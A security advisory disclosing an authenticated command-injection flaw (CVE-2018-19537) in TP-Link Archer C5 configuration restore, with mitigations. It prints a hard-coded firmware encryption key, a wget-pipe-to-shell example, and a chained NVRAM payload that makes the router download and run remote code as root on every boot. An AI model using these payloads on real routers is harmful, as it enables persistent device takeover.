TP-Link Archer C5 Authenticated RCE Through Malicious Configuration File Upload (CVE-2018-19537)
An authenticated remote code execution (RCE) vulnerability exists in all published firmware versions for the TP-Link Archer C5 router. By uploading a maliciously crafted configuration file, an attacker can inject OS commands that are run with root privileges.
The Archer C5 router allows administrative users to save current configuration parameters to a file, and restore parameters from a file.
These parameters seem to be properly sanitized when a user tries to set them within the web GUI.
However, they are not properly sanitized when set from a configuration file.
In particular, we injected OS commands via the
wan_dyn_hostname 1 <name> parameter within the uploaded configuration file.
Other parameters may also be vulnerable.
A valid configuration file can be downloaded from the “Backup & Restore” menu in the router’s web GUI. The following HTTP request will download a backup of the router’s current configuration:
GET /userRpm/config.bin HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (X11; Linux ia64; rv:60.0) Foxfire/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm Cookie: Authorization=Basic%20YWRtaW46cGFzc3dvcmQ%3D Connection: close Upgrade-Insecure-Requests: 1
The response contains the file “config.bin”, which is the configuration file with which we will tamper.
Configuration files are obfuscated by DES-encrypting them with a hard-coded key. This hard-coded key appears to be re-used across multiple TP-Link products. Credit to Matteo Croce for discovering this hard-coded key value. http://teknoraver.net/software/hacks/tplink/
Two simple python scripts are attached to encrypt and decrypt configuration files - “binify.py” and “unbinify.py” respectively. A decrypted configuration file will have parameters like these:
wan_dns_auto 2 0 wan_dyn_mtu 1 1500 wan_dyn_mtu 2 0 wan_dyn_ucst 1 0 wan_dyn_ucst 2 0 wan_dyn_hostname 1 Archer_C5 wan_stc_ip 1 0.0.0.0 wan_stc_ip 2 0.0.0.0 wan_stc_msk 1 0.0.0.0
We can tamper with this decrypted configuration file by adding a malicious BusyBox command to the “wan_dyn_hostname” parameter, like so:
wan_dyn_hostname 1 `wget -O - http://bad.url/hack | /bin/sh`
We then encrypt the new malicious configuration file and upload it via the web GUI. The router will automatically reboot. Early in the boot process, when the httpd program is run, our malicious BusyBox command is executed. The pseudocode of the relevant part of httpd is something like this:
char hostname; char to_run; memcpy(hostname, some_value_somewhere, 63); snprintf(to_run, 256, "udhcpc -h %s -i eth0", hostname) system(to_run); // Continue setting up network interfaces and connectivity
There are several limitations to this exploit, even beyond the limitation of having to use BusyBox. The Dropbear SSH server and telnetd do not seem to work over the wireless lan, and the hostname is limited by the firmware to 63 characters. Exceeding this limit overwrites other settings, and breaks internet access. Furthermore, httpd must return from the system() call before it actually has any network connectivity (as the system() call we are exploiting is the one that requests our WAN IP), and the root filesystem is read-only. The above example malicious command would not work; httpd would fail to wget the url since it does not yet have internet access, it would return from the system() call, and then it would continue operating normally.
So at this point we can run a 63 character BusyBox command, on a read-only filesystem, with no trivial way to make the program wait until it has finished setting up network connectivity before executing our command. We cannot simply tell it to sleep for a few minutes and then execute, because the system() call that we inject into is blocking execution.
One thing that we can do, however, is start another instance of httpd at this point in execution. This instance of httpd will also run this system call, which leaves us in a loop that will continuously spawn more instances of httpd, but allow the parent httpd processes to continue executing and ultimately restore network connectivity. To avoid running out of memory, we terminate this loop by checking to see if our exploit has been downloaded.
Proof of Concept
Working within the above limitations, we came up with the following shell script, which grabs a file from the internet with wget and pipes it straight to /bin/sh.
cd /tmp if [ ! -f B ]; then httpd & sleep 15 wget http://jackdoan.com/B /bin/sh B fi
Or, on one line, minified:
cd /tmp; if [ ! -f B ]; then (httpd & sleep 15; wget http://jackdoan.com/B; /bin/sh B) fi
This script is an enormous 89 characters, so we need to upload it in chunks. But how? Uploading a command causes a reboot, and a reboot refreshes the state of the router. We realized that we could create our own NVRAM variable, and reference it in subsequent commands to build a command that we eventually run.
We used the vulnerability to inject the following commands and build up an exploit:
; nvram set "a=cd /tmp; if [ ! -f B ]; then (htt";nvram commit ; nvram set "a=`nvram get a`pd & sleep 15; wget";nvram commit ; nvram set "a=`nvram get a` http://jackdoan.co";nvram commit ; nvram set "a=`nvram get a`m/B; /bin/sh B) fi"; nvram commit
And finally, trigger the exploit by setting the hostname to:
; udhcpc; nvram get a | /bin/sh ;
This script stored in the router’s NVRAM will be run on each boot, and the router will appear to continue working normally. The end result is that the router will reach out to the internet, download a file, and run it as root every time it boots.
As shown, this vulnerability can be exploited to cause the router to reach out over the internet, grab a payload, and run it with root privileges. Therefore there is high impact on confidentiality, integrity, and availability of the device.
The process of injecting a command via the
wan_dyn_hostname parameter of the configuration file is simple. Escaping the limitations of this command to run any arbitrary payload without disrupting normal router functionality is moderately complex.
This attack is moderately visible, as it requires at least one reboot of the device. Our POC requires 5 successive reboots, but persists until the device is factory reset
This vulnerability can be exploited by anyone with access to the web admin account. Thus, with the router’s default configuration this can be exploited via LAN / WLAN connectivity with the default admin credentials of “admin:admin”. This vulnerability can be exploited remotely across the internet, if remote management is enabled. Remote management is disabled by default.
- Run the values restored from a configuration backup through the same functions that check the validity of user input from the web UI
- Force the user to set an admin password during router setup
This vulnerability is relatively simple, leading us to believe that it has likely been found and exploited before. The defense against this attack is also incredibly simple: do not use the default administrative password. A strong password to the web administrative account will prevent this attack. Because it is so easy to exploit, and also so easy to mitigate, we believe that full disclosure is in the public’s best interest.
For our PoC, we injected via the “wan_dyn_hostname” parameter. However, the config file contains 1190 parameters in total, many of which may be injectable.
- Matteo Croce for discovering the hard-coded key value of 478DA50BF9E3D2CF (http://teknoraver.net/software/hacks/tplink/)
- TP-Link, for providing a toolchain with their GPL-compliance package that allowed us to build GDB for their platform